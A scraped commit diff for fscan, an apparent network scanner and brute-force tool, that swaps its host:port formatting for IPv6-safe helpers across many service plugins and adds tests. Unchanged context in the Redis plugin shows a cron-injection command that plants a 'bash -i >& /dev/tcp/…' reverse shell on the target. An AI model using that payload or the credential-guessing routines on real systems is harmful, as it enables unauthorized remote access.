func (p *KafkaPlugin) doKafkaAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
func (p *KafkaPlugin) doKafkaAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||||
target := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
target := info.Target()
|
||||||
timeout := config.Timeout
|
timeout := config.Timeout
|
||||||
|
|
||||||
dialer := net.Dialer{Timeout: timeout}
|
dialer := net.Dialer{Timeout: timeout}
|
||||||
|
|||||||
@@ -5,7 +5,6 @@ package services
|
|||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"encoding/binary"
|
"encoding/binary"
|
||||||
"fmt"
|
|
||||||
"io"
|
"io"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -27,7 +26,7 @@ func (p *ModbusPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
|||||||
timeout = 3 * time.Second
|
timeout = 3 * time.Second
|
||||||
}
|
}
|
||||||
|
|
||||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
addr := info.Target()
|
||||||
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return &ScanResult{Success: false, Service: "modbus"}
|
return &ScanResult{Success: false, Service: "modbus"}
|
||||||
|
|||||||
@@ -83,7 +83,7 @@ func (p *MongoDBPlugin) createAuthFunc(info *common.HostInfo, config *common.Con
|
|||||||
// ── raw TCP MongoDB SCRAM 认证 ──────────────────────────────────
|
// ── raw TCP MongoDB SCRAM 认证 ──────────────────────────────────
|
||||||
|
|
||||||
func (p *MongoDBPlugin) doMongoDBAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
func (p *MongoDBPlugin) doMongoDBAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
addr := info.Target()
|
||||||
timeout := config.Timeout
|
timeout := config.Timeout
|
||||||
|
|
||||||
conn, err := dialTCP(ctx, addr, timeout)
|
conn, err := dialTCP(ctx, addr, timeout)
|
||||||
@@ -384,7 +384,7 @@ func (p *MongoDBPlugin) identifyService(ctx context.Context, info *common.HostIn
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (p *MongoDBPlugin) mongodbUnauth(ctx context.Context, info *common.HostInfo, session *common.ScanSession) (bool, error) {
|
func (p *MongoDBPlugin) mongodbUnauth(ctx context.Context, info *common.HostInfo, session *common.ScanSession) (bool, error) {
|
||||||
realhost := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
realhost := info.Target()
|
||||||
|
|
||||||
reply, err := p.checkMongoAuth(ctx, realhost, createOpMsgPacket(), session)
|
reply, err := p.checkMongoAuth(ctx, realhost, createOpMsgPacket(), session)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -37,7 +37,7 @@ func (p *MQTTPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
|
|||||||
timeout = 3 * time.Second
|
timeout = 3 * time.Second
|
||||||
}
|
}
|
||||||
|
|
||||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
addr := info.Target()
|
||||||
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return &ScanResult{Success: false, Service: "mqtt"}
|
return &ScanResult{Success: false, Service: "mqtt"}
|
||||||
|
|||||||
@@ -8,6 +8,7 @@ import (
|
|||||||
"fmt"
|
"fmt"
|
||||||
"log"
|
"log"
|
||||||
"net"
|
"net"
|
||||||
|
"strconv"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/go-sql-driver/mysql"
|
"github.com/go-sql-driver/mysql"
|
||||||
@@ -76,8 +77,8 @@ func (p *MySQLPlugin) createAuthFunc(info *common.HostInfo, config *common.Confi
|
|||||||
|
|
||||||
// doMySQLAuth 执行MySQL认证
|
// doMySQLAuth 执行MySQL认证
|
||||||
func (p *MySQLPlugin) doMySQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
func (p *MySQLPlugin) doMySQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||||
connStr := fmt.Sprintf("%s:%s@tcp(%s:%d)/information_schema?charset=utf8&timeout=%ds",
|
connStr := fmt.Sprintf("%s:%s@tcp(%s)/information_schema?charset=utf8&timeout=%ds",
|
||||||
cred.Username, cred.Password, info.Host, info.Port, int64(config.Timeout.Seconds()))
|
cred.Username, cred.Password, net.JoinHostPort(info.Host, strconv.Itoa(info.Port)), int64(config.Timeout.Seconds()))
|
||||||
|
|
||||||
db, err := sql.Open("mysql", connStr)
|
db, err := sql.Open("mysql", connStr)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -71,7 +71,7 @@ func (p *Neo4jPlugin) createAuthFunc(info *common.HostInfo, session *common.Scan
|
|||||||
// doNeo4jAuth 执行Neo4j认证
|
// doNeo4jAuth 执行Neo4j认证
|
||||||
func (p *Neo4jPlugin) doNeo4jAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult {
|
func (p *Neo4jPlugin) doNeo4jAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult {
|
||||||
config := session.Config
|
config := session.Config
|
||||||
baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port)
|
baseURL := "http://" + info.Target()
|
||||||
|
|
||||||
client := &http.Client{Timeout: config.Timeout}
|
client := &http.Client{Timeout: config.Timeout}
|
||||||
|
|
||||||
@@ -147,7 +147,7 @@ func classifyNeo4jErrorType(err error) ErrorType {
|
|||||||
|
|
||||||
func (p *Neo4jPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
func (p *Neo4jPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
config := session.Config
|
config := session.Config
|
||||||
baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port)
|
baseURL := "http://" + info.Target()
|
||||||
|
|
||||||
client := &http.Client{Timeout: config.Timeout}
|
client := &http.Client{Timeout: config.Timeout}
|
||||||
|
|
||||||
@@ -192,7 +192,7 @@ func (p *Neo4jPlugin) testUnauthorizedAccess(ctx context.Context, info *common.H
|
|||||||
func (p *Neo4jPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
func (p *Neo4jPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
config := session.Config
|
config := session.Config
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port)
|
baseURL := "http://" + info.Target()
|
||||||
|
|
||||||
client := &http.Client{Timeout: config.Timeout}
|
client := &http.Client{Timeout: config.Timeout}
|
||||||
|
|
||||||
|
|||||||
@@ -26,7 +26,7 @@ func (p *NFSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
|
|||||||
timeout = 3 * time.Second
|
timeout = 3 * time.Second
|
||||||
}
|
}
|
||||||
|
|
||||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
addr := info.Target()
|
||||||
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return &ScanResult{Success: false, Service: "nfs"}
|
return &ScanResult{Success: false, Service: "nfs"}
|
||||||
|
|||||||
@@ -96,7 +96,7 @@ type oracleSummary struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func oracleRawAuth(ctx context.Context, host string, port int, serviceName, username, password string, timeout time.Duration) error {
|
func oracleRawAuth(ctx context.Context, host string, port int, serviceName, username, password string, timeout time.Duration) error {
|
||||||
addr := fmt.Sprintf("%s:%d", host, port)
|
addr := net.JoinHostPort(host, strconv.Itoa(port))
|
||||||
dialer := net.Dialer{Timeout: timeout}
|
dialer := net.Dialer{Timeout: timeout}
|
||||||
conn, err := dialer.DialContext(ctx, "tcp", addr)
|
conn, err := dialer.DialContext(ctx, "tcp", addr)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -28,7 +28,7 @@ func (p *POP3Plugin) Scan(ctx context.Context, info *common.HostInfo, session *c
|
|||||||
timeout = 3 * time.Second
|
timeout = 3 * time.Second
|
||||||
}
|
}
|
||||||
|
|
||||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
addr := info.Target()
|
||||||
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return &ScanResult{Success: false, Service: "pop3"}
|
return &ScanResult{Success: false, Service: "pop3"}
|
||||||
@@ -75,7 +75,7 @@ func (p *POP3Plugin) Scan(ctx context.Context, info *common.HostInfo, session *c
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (p *POP3Plugin) tryLogin(ctx context.Context, info *common.HostInfo, cred plugins.Credential, timeout time.Duration, session *common.ScanSession) *ScanResult {
|
func (p *POP3Plugin) tryLogin(ctx context.Context, info *common.HostInfo, cred plugins.Credential, timeout time.Duration, session *common.ScanSession) *ScanResult {
|
||||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
addr := info.Target()
|
||||||
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil
|
return nil
|
||||||
|
|||||||
@@ -6,6 +6,8 @@ import (
|
|||||||
"context"
|
"context"
|
||||||
"database/sql"
|
"database/sql"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"net/url"
|
||||||
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
_ "github.com/lib/pq" // PostgreSQL driver
|
_ "github.com/lib/pq" // PostgreSQL driver
|
||||||
@@ -71,8 +73,7 @@ func (p *PostgreSQLPlugin) createAuthFunc(info *common.HostInfo, config *common.
|
|||||||
|
|
||||||
// doPostgreSQLAuth 执行PostgreSQL认证
|
// doPostgreSQLAuth 执行PostgreSQL认证
|
||||||
func (p *PostgreSQLPlugin) doPostgreSQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
func (p *PostgreSQLPlugin) doPostgreSQLAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||||
connStr := fmt.Sprintf("postgres://%s:%s@%s:%d/postgres?sslmode=disable&connect_timeout=%d",
|
connStr := postgreSQLConnString(cred.Username, cred.Password, info, int64(config.Timeout.Seconds()))
|
||||||
cred.Username, cred.Password, info.Host, info.Port, int64(config.Timeout.Seconds()))
|
|
||||||
|
|
||||||
db, err := sql.Open("postgres", connStr)
|
db, err := sql.Open("postgres", connStr)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -148,10 +149,27 @@ func classifyPostgreSQLErrorType(err error) ErrorType {
|
|||||||
return ClassifyError(err, pgAuthErrors, pgNetworkErrors)
|
return ClassifyError(err, pgAuthErrors, pgNetworkErrors)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func postgreSQLConnString(username, password string, info *common.HostInfo, timeoutSeconds int64) string {
|
||||||
|
u := &url.URL{
|
||||||
|
Scheme: "postgres",
|
||||||
|
Host: info.Target(),
|
||||||
|
Path: "postgres",
|
||||||
|
}
|
||||||
|
if password == "" {
|
||||||
|
u.User = url.User(username)
|
||||||
|
} else {
|
||||||
|
u.User = url.UserPassword(username, password)
|
||||||
|
}
|
||||||
|
q := u.Query()
|
||||||
|
q.Set("sslmode", "disable")
|
||||||
|
q.Set("connect_timeout", strconv.FormatInt(timeoutSeconds, 10))
|
||||||
|
u.RawQuery = q.Encode()
|
||||||
|
return u.String()
|
||||||
|
}
|
||||||
|
|
||||||
// testUnauthorizedAccess 测试PostgreSQL未授权访问
|
// testUnauthorizedAccess 测试PostgreSQL未授权访问
|
||||||
func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||||
connStr := fmt.Sprintf("postgres://postgres@%s:%d/postgres?sslmode=disable&connect_timeout=%d",
|
connStr := postgreSQLConnString("postgres", "", info, int64(config.Timeout.Seconds()))
|
||||||
info.Host, info.Port, int64(config.Timeout.Seconds()))
|
|
||||||
|
|
||||||
db, err := sql.Open("postgres", connStr)
|
db, err := sql.Open("postgres", connStr)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -204,8 +222,7 @@ func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *com
|
|||||||
func (p *PostgreSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
func (p *PostgreSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
|
|
||||||
connStr := fmt.Sprintf("postgres://invalid:invalid@%s:%d/postgres?sslmode=disable&connect_timeout=%d",
|
connStr := postgreSQLConnString("invalid", "invalid", info, int64(config.Timeout.Seconds()))
|
||||||
info.Host, info.Port, int64(config.Timeout.Seconds()))
|
|
||||||
|
|
||||||
db, err := sql.Open("postgres", connStr)
|
db, err := sql.Open("postgres", connStr)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -0,0 +1,23 @@
|
|||||||
|
package services
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestPostgreSQLConnStringEscapesIPv6AndCredentials(t *testing.T) {
|
||||||
|
info := &common.HostInfo{Host: "2001:db8::1", Port: 5432}
|
||||||
|
got := postgreSQLConnString("user:name", "pa:ss word", info, 3)
|
||||||
|
|
||||||
|
for _, want := range []string{
|
||||||
|
"postgres://user%3Aname:pa%3Ass%20word@[2001:db8::1]:5432/postgres",
|
||||||
|
"connect_timeout=3",
|
||||||
|
"sslmode=disable",
|
||||||
|
} {
|
||||||
|
if !strings.Contains(got, want) {
|
||||||
|
t.Fatalf("postgreSQLConnString() = %q, missing %q", got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -6,7 +6,9 @@ import (
|
|||||||
"context"
|
"context"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -81,7 +83,7 @@ func (p *RabbitMQPlugin) doRabbitMQAuth(ctx context.Context, info *common.HostIn
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
baseURL := fmt.Sprintf("http://%s:%d", info.Host, port)
|
baseURL := "http://" + net.JoinHostPort(info.Host, strconv.Itoa(port))
|
||||||
client := &http.Client{Timeout: config.Timeout}
|
client := &http.Client{Timeout: config.Timeout}
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/api/overview", nil)
|
req, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/api/overview", nil)
|
||||||
@@ -162,7 +164,7 @@ func (p *RabbitMQPlugin) testUnauthorizedAccess(ctx context.Context, info *commo
|
|||||||
port = 15672
|
port = 15672
|
||||||
}
|
}
|
||||||
|
|
||||||
baseURL := fmt.Sprintf("http://%s:%d", info.Host, port)
|
baseURL := "http://" + net.JoinHostPort(info.Host, strconv.Itoa(port))
|
||||||
client := &http.Client{Timeout: config.Timeout}
|
client := &http.Client{Timeout: config.Timeout}
|
||||||
|
|
||||||
// 测试无认证访问
|
// 测试无认证访问
|
||||||
@@ -261,7 +263,7 @@ func (p *RabbitMQPlugin) identifyService(ctx context.Context, info *common.HostI
|
|||||||
func (p *RabbitMQPlugin) testManagementInterface(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
func (p *RabbitMQPlugin) testManagementInterface(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||||
config := session.Config
|
config := session.Config
|
||||||
target := info.Target()
|
target := info.Target()
|
||||||
baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port)
|
baseURL := "http://" + info.Target()
|
||||||
|
|
||||||
client := &http.Client{Timeout: config.Timeout}
|
client := &http.Client{Timeout: config.Timeout}
|
||||||
|
|
||||||
|
|||||||
@@ -594,11 +594,15 @@ func (p *RedisPlugin) writeCron(conn net.Conn, host string) (flag bool, text str
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 解析目标地址
|
// 解析目标地址
|
||||||
target := strings.Split(host, ":")
|
scanIp, scanPort, err := net.SplitHostPort(strings.TrimSpace(host))
|
||||||
if len(target) < 2 {
|
if err != nil && strings.Count(host, ":") == 1 {
|
||||||
|
target := strings.SplitN(host, ":", 2)
|
||||||
|
scanIp, scanPort = strings.TrimSpace(target[0]), strings.TrimSpace(target[1])
|
||||||
|
err = nil
|
||||||
|
}
|
||||||
|
if err != nil || scanIp == "" || scanPort == "" {
|
||||||
return false, i18n.GetText("redis_host_format_invalid"), nil
|
return false, i18n.GetText("redis_host_format_invalid"), nil
|
||||||
}
|
}
|
||||||
scanIp, scanPort := target[0], target[1]
|
|
||||||
|
|
||||||
// 写入cron任务
|
// 写入cron任务
|
||||||
cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)
|
cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort)
|
||||||
|
|||||||
@@ -29,7 +29,7 @@ func (p *RMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co
|
|||||||
timeout = 3 * time.Second
|
timeout = 3 * time.Second
|
||||||
}
|
}
|
||||||
|
|
||||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
addr := info.Target()
|
||||||
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return &ScanResult{Success: false, Service: "rmi"}
|
return &ScanResult{Success: false, Service: "rmi"}
|
||||||
|
|||||||
@@ -125,11 +125,23 @@ func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cr
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 提取第一个模块名
|
// 提取第一个模块名
|
||||||
firstModuleLine := modules[0]
|
var firstModule string
|
||||||
firstModule := strings.Fields(firstModuleLine)[0]
|
for _, moduleLine := range modules {
|
||||||
|
if fields := strings.Fields(moduleLine); len(fields) > 0 {
|
||||||
|
firstModule = fields[0]
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if firstModule == "" {
|
||||||
|
return &AuthResult{
|
||||||
|
Success: false,
|
||||||
|
ErrorType: ErrorTypeUnknown,
|
||||||
|
Error: fmt.Errorf("%s", i18n.GetText("rsync_modules_failed")),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 使用 go-rsync 库进行认证测试
|
// 使用 go-rsync 库进行认证测试
|
||||||
address := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
address := info.Target()
|
||||||
dummyFS := &dummyStorage{}
|
dummyFS := &dummyStorage{}
|
||||||
|
|
||||||
_, err := rsync.SocketClient(
|
_, err := rsync.SocketClient(
|
||||||
|
|||||||
@@ -203,7 +203,7 @@ var (
|
|||||||
|
|
||||||
// probeTarget 探测目标SMB信息(协议版本、系统信息)
|
// probeTarget 探测目标SMB信息(协议版本、系统信息)
|
||||||
func probeTarget(ctx context.Context, host string, port int, timeout time.Duration, session *common.ScanSession) (*SMBTarget, error) {
|
func probeTarget(ctx context.Context, host string, port int, timeout time.Duration, session *common.ScanSession) (*SMBTarget, error) {
|
||||||
target := fmt.Sprintf("%s:%d", host, port)
|
target := net.JoinHostPort(host, strconv.Itoa(port))
|
||||||
|
|
||||||
conn, err := session.DialTCP(ctx, "tcp", target, timeout)
|
conn, err := session.DialTCP(ctx, "tcp", target, timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -485,7 +485,7 @@ func (a *SMB2Authenticator) Authenticate(ctx context.Context, host string, port
|
|||||||
timeoutCtx, cancel := context.WithTimeout(ctx, timeout)
|
timeoutCtx, cancel := context.WithTimeout(ctx, timeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
conn, err := session.DialTCP(ctx, "tcp", fmt.Sprintf("%s:%d", host, port), timeout)
|
conn, err := session.DialTCP(ctx, "tcp", net.JoinHostPort(host, strconv.Itoa(port)), timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return &AuthResult{
|
return &AuthResult{
|
||||||
Success: false,
|
Success: false,
|
||||||
|
|||||||
@@ -28,7 +28,7 @@ func (p *SNMPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
|
|||||||
timeout = 3 * time.Second
|
timeout = 3 * time.Second
|
||||||
}
|
}
|
||||||
|
|
||||||
target := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
target := info.Target()
|
||||||
|
|
||||||
result := p.probe(ctx, target, "public", timeout, session)
|
result := p.probe(ctx, target, "public", timeout, session)
|
||||||
if result == nil {
|
if result == nil {
|
||||||
@@ -257,4 +257,3 @@ func init() {
|
|||||||
return NewSNMPPlugin()
|
return NewSNMPPlugin()
|
||||||
}, []int{161})
|
}, []int{161})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -26,7 +26,7 @@ func (p *TFTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c
|
|||||||
timeout = 3 * time.Second
|
timeout = 3 * time.Second
|
||||||
}
|
}
|
||||||
|
|
||||||
target := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
target := info.Target()
|
||||||
conn, err := session.DialUDP(ctx, target, timeout)
|
conn, err := session.DialUDP(ctx, target, timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return &ScanResult{Success: false, Service: "tftp"}
|
return &ScanResult{Success: false, Service: "tftp"}
|
||||||
|
|||||||
@@ -4,7 +4,6 @@ package services
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
"fmt"
|
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -26,7 +25,7 @@ func (p *ZooKeeperPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
|
|||||||
timeout = 3 * time.Second
|
timeout = 3 * time.Second
|
||||||
}
|
}
|
||||||
|
|
||||||
addr := fmt.Sprintf("%s:%d", info.Host, info.Port)
|
addr := info.Target()
|
||||||
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
conn, err := session.DialTCP(ctx, "tcp", addr, timeout)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return &ScanResult{Success: false, Service: "zookeeper"}
|
return &ScanResult{Success: false, Service: "zookeeper"}
|
||||||
|
|||||||
@@ -376,13 +376,15 @@ func optimizeCookies(rawCookie string) string {
|
|||||||
// 解析Cookie键值对
|
// 解析Cookie键值对
|
||||||
pairs := strings.Split(rawCookie, ";")
|
pairs := strings.Split(rawCookie, ";")
|
||||||
for _, pair := range pairs {
|
for _, pair := range pairs {
|
||||||
|
pair = strings.TrimSpace(pair)
|
||||||
nameVal := strings.SplitN(pair, "=", 2)
|
nameVal := strings.SplitN(pair, "=", 2)
|
||||||
if len(nameVal) < 2 {
|
if len(nameVal) < 2 {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
name := strings.TrimSpace(nameVal[0])
|
||||||
|
|
||||||
// 跳过Cookie属性
|
// 跳过Cookie属性
|
||||||
switch strings.ToLower(nameVal[0]) {
|
switch strings.ToLower(name) {
|
||||||
case "expires", "max-age", "path", "domain",
|
case "expires", "max-age", "path", "domain",
|
||||||
"version", "comment", "secure", "samesite", "httponly":
|
"version", "comment", "secure", "samesite", "httponly":
|
||||||
continue
|
continue
|
||||||
@@ -392,9 +394,9 @@ func optimizeCookies(rawCookie string) string {
|
|||||||
if output.Len() > 0 {
|
if output.Len() > 0 {
|
||||||
output.WriteString("; ")
|
output.WriteString("; ")
|
||||||
}
|
}
|
||||||
output.WriteString(nameVal[0])
|
output.WriteString(name)
|
||||||
output.WriteString("=")
|
output.WriteString("=")
|
||||||
output.WriteString(strings.Join(nameVal[1:], "="))
|
output.WriteString(nameVal[1])
|
||||||
}
|
}
|
||||||
|
|
||||||
return output.String()
|
return output.String()
|
||||||
|
|||||||
@@ -181,6 +181,16 @@ func TestOptimizeCookies(t *testing.T) {
|
|||||||
raw: "sid=simple",
|
raw: "sid=simple",
|
||||||
want: "sid=simple",
|
want: "sid=simple",
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
name: "分号后无空格",
|
||||||
|
raw: "token=xyz;user=admin;Path=/app;HttpOnly",
|
||||||
|
want: "token=xyz; user=admin",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "键名周围空格",
|
||||||
|
raw: " token =xyz; user =admin; Path =/",
|
||||||
|
want: "token=xyz; user=admin",
|
||||||
|
},
|
||||||
{
|
{
|
||||||
name: "空字符串",
|
name: "空字符串",
|
||||||
raw: "",
|
raw: "",
|
||||||
|
|||||||
+3
-1
@@ -5,6 +5,7 @@ import (
|
|||||||
"embed"
|
"embed"
|
||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/url"
|
"net/url"
|
||||||
"os"
|
"os"
|
||||||
@@ -104,7 +105,7 @@ func WebScan(ctx context.Context, info *common.HostInfo, cfg *common.Config) {
|
|||||||
func buildTargetURL(info *common.HostInfo) (string, error) {
|
func buildTargetURL(info *common.HostInfo) (string, error) {
|
||||||
// 自动构建URL
|
// 自动构建URL
|
||||||
if info.URL == "" {
|
if info.URL == "" {
|
||||||
info.URL = fmt.Sprintf("%s%s:%d", protocolHTTP, info.Host, info.Port)
|
info.URL = protocolHTTP + net.JoinHostPort(info.Host, fmt.Sprint(info.Port))
|
||||||
} else if !hasProtocolPrefix(info.URL) {
|
} else if !hasProtocolPrefix(info.URL) {
|
||||||
info.URL = protocolHTTP + info.URL
|
info.URL = protocolHTTP + info.URL
|
||||||
}
|
}
|
||||||
@@ -120,6 +121,7 @@ func buildTargetURL(info *common.HostInfo) (string, error) {
|
|||||||
|
|
||||||
// hasProtocolPrefix 检查URL是否包含协议前缀
|
// hasProtocolPrefix 检查URL是否包含协议前缀
|
||||||
func hasProtocolPrefix(urlStr string) bool {
|
func hasProtocolPrefix(urlStr string) bool {
|
||||||
|
urlStr = strings.ToLower(urlStr)
|
||||||
return strings.HasPrefix(urlStr, protocolHTTP) || strings.HasPrefix(urlStr, protocolHTTPS)
|
return strings.HasPrefix(urlStr, protocolHTTP) || strings.HasPrefix(urlStr, protocolHTTPS)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -114,6 +114,26 @@ func TestBuildTargetURL(t *testing.T) {
|
|||||||
expected: "http://test.example.com:9090",
|
expected: "http://test.example.com:9090",
|
||||||
expectError: false,
|
expectError: false,
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
name: "ipv6 builds bracketed host and port",
|
||||||
|
hostInfo: &common.HostInfo{
|
||||||
|
Host: "2001:db8::1",
|
||||||
|
Port: 8080,
|
||||||
|
URL: "",
|
||||||
|
},
|
||||||
|
expected: "http://[2001:db8::1]:8080",
|
||||||
|
expectError: false,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "ipv6 url without protocol keeps brackets",
|
||||||
|
hostInfo: &common.HostInfo{
|
||||||
|
Host: "2001:db8::1",
|
||||||
|
Port: 443,
|
||||||
|
URL: "[2001:db8::1]:443/admin",
|
||||||
|
},
|
||||||
|
expected: "http://[2001:db8::1]:443",
|
||||||
|
expectError: false,
|
||||||
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, tt := range tests {
|
for _, tt := range tests {
|
||||||
@@ -190,8 +210,8 @@ func TestHasProtocolPrefix(t *testing.T) {
|
|||||||
{"only http", "http://", true},
|
{"only http", "http://", true},
|
||||||
{"only https", "https://", true},
|
{"only https", "https://", true},
|
||||||
{"http in middle", "example.http://com", false},
|
{"http in middle", "example.http://com", false},
|
||||||
{"uppercase HTTP", "HTTP://example.com", false}, // 区分大小写
|
{"uppercase HTTP", "HTTP://example.com", true},
|
||||||
{"uppercase HTTPS", "HTTPS://example.com", false},
|
{"uppercase HTTPS", "HTTPS://example.com", true},
|
||||||
{"ftp protocol", "ftp://example.com", false},
|
{"ftp protocol", "ftp://example.com", false},
|
||||||
{"http no slashes", "http:example.com", false},
|
{"http no slashes", "http:example.com", false},
|
||||||
{"partial prefix", "http:/example.com", false},
|
{"partial prefix", "http:/example.com", false},
|
||||||
|
|||||||
Reference in New Issue
Block a user